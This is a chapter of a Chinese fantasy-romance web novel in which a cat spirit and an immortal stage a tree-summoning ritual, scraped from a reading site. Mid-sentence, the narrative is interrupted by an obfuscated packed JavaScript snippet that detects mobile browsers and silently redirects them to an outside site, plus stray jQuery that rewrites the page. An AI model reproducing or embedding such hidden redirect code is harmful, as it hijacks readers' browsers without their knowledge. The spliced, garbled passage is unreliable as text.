默认冷灰
24号文字
方正启体

21. 交易

作者:闻山如是本书字数:K更新时间:
    回屋后,隋澈自觉溜达到猫窝里,躺下没多久就翻着肚皮呼呼大睡了。直至寅时三刻,他隐约感觉自己被人抱起来,伸出爪子浅浅挣扎两下,迷迷瞪瞪地呓语:“谁、谁要害本猫……”


    黑乎乎、毛茸茸一团缩在怀里咕咕哝哝的,甚是可爱。华潋一时看得入迷,竟忘了这玄猫本身是男子,如此亲昵地抱之貌似有一点不妥……


    “呼噜噜,呼噜噜。”


    看样子睡得死沉,对外界之事一无所知,既如此,也没什么妥不妥的,且当怀中就是一只寻常小猫吧。华潋缓摇臂膀欲令玄猫睡得安稳些,心道:《养猫宝册》里写,猫每日的睡眠时长可达八个时辰,其中深睡约莫五、六时辰,今日闹了一天是够累的,多睡儿也好。


    她抱着玄猫轻步赶至府邸门口,坐进马车后将它平平稳稳地放在座上,之后便同古玳前往五渚湖外。


    城外的路愈发颠簸,玄猫很快醒了过来。


    “唔,做猫好辛苦,睡也睡不舒服……”隋澈不满地絮叨,眯着眼睛打了一个长长的哈欠,平躺于座伸展四足,圆润之腹悉露人前。


    华潋垂目观瞻,旋即又移开眼神,略显刻意地轻嗽:“咳。”


    隋澈疑哼。见恩仙纤指微抬,对准某处点动两下,他颔首瞧去,金色猫瞳瞬间瞠大,夹住后腿原地弹起,紧接着翻身弓背蜷曲四足,连连退缩的同时亦将尾巴压于身底。


    不是,猫怎么也会……啊啊啊!没脸见人了!隋澈内心哀嚎,面上却极力佯装镇定,讪讪干笑,遏制着发颤的声音说出苍白的辩解:“刚、刚睡醒嘛。”


    “嗯。”华潋不轻不重地应着,唇角窃笑难以忍抑。她并不打算放过这只羞于见人的小猫,悄悄凑近并再次用手点住猫头。


    刹那间,隋澈仿佛被施了定身术,纹丝不动,浑身上下只剩喉咙一滚,发出“咕咚咕咚”的吞咽声,在寂静的马车内格外响亮。


    华潋一言不发,指尖若有似无地落在玄猫后背,慢慢往下抚去,直到脊背末端倏地一拍:“啪!”


    掌法仙力顿令隋澈化作人形。幸有织星额带,他才避免了赤身化形的窘迫。


    隋澈哑嗓惊呼,无颜迎视华潋,束手束脚地背过身去面冲车帘,膝头相并,两手端端搭于其上。


    好巧不巧,车停了。小厮掀开帘子,蓦地愣住:“这,怎么还多了一个人?”


    古玳闻声走来,一眼就注意到隋澈的额带与玄猫所系那条别无二致,讶然呢喃:“居然是……”


    华潋打断道:“城主心知即可,无需赘言。”


    古玳连声应是,心里对法师愈发深信不疑:把玄猫变作人,其功力之深厚可见一斑!看来我同其求子一事,定也是十拿九稳的。


    华潋先行下车,同跟在身后的隋澈传音:“待会儿有一场法事,如同当日醮坛那般。你上台随便做做样子,我自会让千棵古树出现在此。”


    隋澈亦传音道:“恩仙是在考验我?”


    华潋想了想:“算是吧。”


    隋澈脸上闪过一抹骄傲之色,道:“好!恩仙放心,我最会随机应变了,区区法事,不足为意。”转念想起彼时恩仙曾在慈赈司与司长立下三月之约,又连忙补言,“不过若我经受住考验,恩仙可否答应留下我当契友,同我……嗯,同我结契,可好?”


    所谓结契,便是在慈赈司司长的见证下订立白纸黑字的约定,不论发生何事都不可另寻契友,除非双方自愿解契,否则将受天雷惩罚。而在这场关系中,隋澈十清楚自己处于弱势,不与华潋结契的话,随时都有可能被她舍弃,所以为了成仙,此举势在必行。


    至于华潋,与老青牛相伴百年只是口头认下了契友,从未有过结契一说,也不习惯同谁建立过于紧密的联系,因此现下隋澈提及此事,她慎重应道:“我会考虑。”


    隋澈佯装不懂这话中的留有余地,自顾自地说:“那就是答应啦?”


    “不……”


    “呜呼!”隋澈以一声欢呼迅速截住华潋未尽之言,却因心中过于雀跃而将欢呼声实打实地吐出了口,引得旁人侧目打量。


    华潋同样朝他投去目光,心想:以妖身修仙道,本就是逆水行舟,修化形、修功德、修心性、修天劫,缺一不可,若无人相助,稍有差池定会走火入魔、万劫不复,一如当初灵识破碎……虽仍未问他何故执着于此,但细想来,此番成仙之愿与自己的成神之愿,无甚区别。


    既然成全不了自己,成全了他,也好。华潋终是默许了。身旁,隋澈小心打量,见她没再出言否决,也终于放了心。


    古玳领着二人到地方后,摆手请道:“戏台已搭好,各村村长和百姓也都就位,法师可以开始了。”


    眼下已近卯时三刻,本应是天光渐明之时,可天际却还是浓云密布、昏昏暗暗的。华潋昂首遥望,看见两个身影从云后探头探脑的。她唇角微勾,轻声说道:“隋澈,上台吧。”


    “好!”隋澈意气风发地阔步登台。


    云边,那两个鬼鬼祟祟的身影同样跃跃欲试。


    广宗:“来了来了,龙女来了!”


    曜珇:“淡定,别冒进。”


    广宗:“你好意思说我?你手抖什么?”


    曜珇:“没有,你看错了。”


    广宗:“嘁!”


    二人携千棵古树藏身云后等待龙女发出信号,斗嘴时皆目不转睛地观察地上那座戏台。


    双簧唱得正精彩。隋澈假模假式地做法,不时抬抬手、踢踢腿。华潋匿于幕后对准他所指之处施法造出星星点点的火光,唬得台下的凡民一愣一愣的。最后,隋澈实在想不出还能比划什么动作了,便将双掌举在胸前,修长十指互相掐合,摆出一个神乎其神的手势大喝一声:


    “呔!”


    “……”


    凡民们大气不敢喘。


    幕后,华潋春风拂面般的笑容愈发深切。她故意拖延了一小会儿,打算看看隋澈还有没有别的招数,毕竟顶着这样一张俊俏容颜做这种事,着实别有意趣。


    怎么还没动静呀?隋澈额角微微沁出汗珠,眼见场面冷了下来,赶忙传音唤道:“小花恩仙?”


    “……”


    “恩仙,发生何事了吗?”


    “……”


    “恩仙?小花恩仙!”迟迟得不到回应,隋澈不禁担心是不是出了什么意外。他眸光顿凛,神情凝重,再顾不得装腔作势转身便朝幕后寻去且传音喝问,“华潋!能听到我说话吗?!”


    却不想,华潋眉眼含笑地探出头来,那笑容里还带着一丝戏弄的玩味。


    四目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356430|199687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相对,隋澈悬着的心落了地,随即又觉嗔怪,传音时语气嘀嘀咕咕的:“恩仙啊,你这就……有点淘气了啊。”


    淘气?华潋挑眉:这小猫当真恃宠生娇了,方才直呼我的名字,现在又敢说我淘气?呵,莫非平时的敬畏之态都是装的……


    “小花恩仙,树呢?”


    算了,正事要紧。华潋挥手散去天边浓云,示意广宗曜珇带着千棵古树出现在凡民面前。


    云翳尽退,天光乍然冒出,悬浮于空中的细微尘粒霎时清晰,被晨光照得犹若手舞足蹈的精灵,散发出生生不息的活力。众人屏气凝神,见到阵法般排列的古树,无不惊叹。城主古玳更是看直了眼,由衷地鼓起掌来。继而众人效仿,喝彩声、欢呼声此起彼伏,经久不绝。


    华潋却是既清醒又疑惑:这些人在高兴什么,当初不正是他们围湖垦田,拔了一棵棵树,害得昭陵遭患吗?若非那般,又何至于有今日?


    罢了,搞不明白。


    余下诸事便由古玳安排,广宗和曜珇辅以移栽古树。华潋落得清闲,叫上隋澈一道回去了府邸。


    车上,隋澈兴致勃勃地问:“小花恩仙,咱们算不算完成任务了?”


    “尚未。”


    “啊?为什么?”


    “古夫人还没怀上儿子。”


    “呃……”忘了这茬儿了。隋澈顿又变得兴致缺缺,疲惫得弯腰俯身,两手托腮,无精打采道,“我今晚不睡了,要修炼,争取稳定化形。”


    华潋阖目养神,不咸不淡地说:“随你,只要你不在屋子里淘气就好。”


    “我怎么会淘……”隋澈话说一半突然收住。想来是适才嘀咕的“淘气”二字被恩仙介怀,他连忙谄媚地笑了笑,正要辩解一二,谁知刚张开嘴就变回了玄猫形态,连人话都说不出来。


    “喵呜哇呜啊?”


    ——怎么回事啊?


    玄猫惊疑不定。


    华潋眼睛都没睁,手指一拨就变出两只猫罐罐,道:“吃了它。”


    隋澈忙不迭撕咬开罐口,狼吞虎咽起来。待两只罐罐下了肚,他打个饱嗝儿,总算能说话:“撑死我了……嗝儿!”


    “咱们还要在昭陵待上一个月。这期间你勤于修炼,多行善事、多吃罐罐,不出意外的话离开之时便可稳定地化成人形了。”华潋解释道。


    饱食酣睡,隋澈思绪已然转不动了,道了句“明白”便没能忍住困意,倒头昏睡过去。


    华潋这才将眼皮撩起一条缝,幽幽睨之,暗道:嗯,还是变作玄猫可爱一点。


    说是不出意外,可意外这件事谁说的准何时会遇到?譬如,隋澈就万没想到自己的“意外”来得如此之快。


    当日晚时,阿醴主动敲响法师的屋门。正躲在屋里盘腿打坐、认真修习的玄猫突然打了个激灵。


    隋澈:啧,我怎么有一种不祥之感呢?


    华潋前去开门,明知对方是为了古璇儿而来,依旧问道:“何事?”


    “小人有事求法师……”阿醴分明同法师说话,眼神却屡屡瞟向屋内,似乎在搜寻什么。


    华潋面不改色地扯谎:“猫不在,有事同我说。”


    阿醴深吸一口气,下定决心道:“我……我是来聘猫的!”


    隋澈:聘……聘猫?!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)